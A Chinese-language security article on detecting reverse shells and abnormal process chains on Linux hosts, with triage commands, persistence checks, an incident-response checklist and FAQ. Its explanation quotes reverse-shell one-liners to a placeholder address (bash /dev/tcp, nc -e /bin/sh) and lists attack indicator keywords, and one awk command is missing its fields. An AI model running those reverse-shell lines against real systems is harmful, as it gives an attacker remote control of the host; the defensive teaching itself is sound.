主机防护行为检测：识别反弹Shell与异常进程链

核心要点（TL;DR）

反弹Shell的本质是把标准输入输出重定向到socket，进程树与fd异常是最可靠信号。
排查先看父子进程关系：Web服务派生出bash/sh基本可判定为高危。
ss与/proc/PID/fd交叉验证，可确认进程是否持有对外连接。
单点告警易误报，需结合命令审计与持久化项做证据链闭环。

半夜收到告警，登录服务器看到一堆陌生进程，却说不清哪个才是入口——这是很多运维在应急响应时的真实困境。反弹Shell与异常进程链往往只留下几秒的痕迹，靠翻日志很难还原。本文从行为检测原理讲起，给出可直接执行的排查命令与处置清单，帮你在黄金时间内定位问题。

一、反弹Shell的本质：把标准流接到socket上

正常Shell的输入输出绑定在终端（tty/pty）上；反弹Shell则通过bash -i >& /dev/tcp/1.2.3.4/4444 0>&1、nc -e /bin/sh、Python的socket+dup2等方式，把fd 0/1/2重定向到网络套接字。攻击者由此获得一个交互式通道。

对主机防护行为检测而言，这留下三个稳定信号：进程树异常（服务进程派生shell）、文件描述符异常（fd指向socket而非tty）、网络行为异常（非常规端口外联）。三者交叉即构成证据链。

二、第一步：看进程树与父子关系

先建立全局视图，重点看谁派生了谁：

ps -eo pid,ppid,user,lstart,cmd --forest | less

高危模式包括：nginx/php-fpm/java/node 派生 sh、bash、python、perl；sshd 之外出现交互式shell；进程名伪装成 [kworker] 但路径在 /tmp。可快速过滤：

ps -eo pid,ppid,user,cmd | grep -E "(bash|sh|nc|python|perl)" | grep -v grep

再看命令行特征，/dev/tcp、base64 -d、curl|sh、socat 都是常见载荷。

三、第二步：用 /proc 与 ss 验证文件描述符

进程树只是嫌疑，fd才是实锤。对可疑PID执行：

ls -l /proc/PID/fd
cat /proc/PID/status | grep -E "Uid|Gid|CapEff"
ss -antp | grep PID

若fd 0/1/2指向 socket:[xxxx] 而非 /dev/pts/*，且 ss 显示该socket连向公网非常规端口，基本可确认反弹Shell。也可反向从连接找进程：

ss -antp state established | awk '{print ,}' | sort | uniq -c | sort -rn | head

四、第三步：命令审计与持久化项闭环

进程可能已被清理，但审计记录还在。若已部署auditd：

ausearch -k exec_cmd -ts recent | aureport -f -i

未部署时，至少检查持久化位置，避免清完又被拉起：

crontab -l 与 /etc/cron.*、/var/spool/cron
systemctl list-units --type=service 中的陌生单元
~/.ssh/authorized_keys 与 /etc/rc.local
~/.bashrc、/etc/profile.d/ 中的异常导出

下表对比三类信号的可信度，便于排优先级：

信号	采集方式	可信度	误报来源
父子进程异常	ps --forest	中	运维脚本、发布工具
fd指向socket	/proc/PID/fd	高	少数代理程序
命令审计命中	auditd	高	规则过宽

五、分步处置与检查清单

隔离：封禁目标IP或摘除公网入口，止血优先。
取证：保存 ps 输出、/proc/PID 目录、ss 连接、bash_history。
定位入口：查Web访问日志中的上传与命令执行请求，核对文件修改时间。
清除：kill进程、删除载荷文件、清理持久化项。
加固：改密、打补丁、收敛出网策略，只放行必要端口。

处置后务必回归验证：重新执行第二节与第三节命令，确认无残留进程与连接。

六、把一次性排查变成常态检测

人工排查适合应急，长期要靠规则化。建议把上述命令封装为定时采集脚本，对进程树偏离基线、fd异常、非工作时段root shell三类行为告警。在防护建议层面，可借助 AegisX 的主机行为检测能力，将进程链、命令审计与网络外联做关联分析，减少单点误报，把检测从「事后翻日志」前移到「事中拦截」。

行动建议：今天先在一台生产机上跑一遍进程树与fd检查，记录正常基线；本周内补齐auditd规则与出网白名单。检测能力不是买来的，是从基线里长出来的。

常见问题（FAQ）

服务器上看到bash进程就一定是被反弹Shell了吗？

不一定。运维登录、定时任务脚本、CI发布都可能产生bash进程。判断关键是看父子关系与文件描述符：若父进程是nginx、php-fpm、java等对外服务，且该bash持有指向公网IP的socket，则高度可疑。建议用ps -ef --forest看进程树，再查/proc/PID/fd确认fd 0/1/2是否指向socket。

没有安装EDR，能用系统自带工具做行为检测吗？

可以。Linux自带工具足以覆盖基础行为检测：ps看进程树与父子关系，ss -antp看网络连接与归属进程，lsof -p看文件描述符，auditd做命令与execve审计，/proc文件系统提供实时证据。把这些组合成定时采集脚本，就能形成轻量级主机防护行为检测能力，适合中小规模服务器。

异常进程链排查应该先看什么？

先看父子关系再看命令行。优先关注对外服务进程（nginx、apache、php-fpm、java、node）是否派生出shell或解释器；其次看命令行是否含curl、wget、base64、/dev/tcp、nc等特征；最后核对进程启动时间与用户，非运维时段的root级shell应重点怀疑。

发现反弹Shell后正确的处置顺序是什么？

先取证后清除。第一步隔离网络或封禁目标IP，避免数据外传；第二步保存证据：ps输出、/proc/PID目录、ss连接、bash_history；第三步确认入口，检查Web日志与上传目录；第四步清理进程与持久化项（crontab、systemd、authorized_keys）；最后改密、打补丁并复盘监控规则。

如何降低反弹Shell检测的误报率？

建立白名单与基线。把已知运维脚本、发布工具、监控agent的进程链纳入基线，只对偏离基线的行为告警；同时对告警做聚合，要求同一主机在时间窗内出现进程异常加网络外联才升级为事件。定期review告警样本，持续调优规则阈值，误报率会明显下降。

资讯中心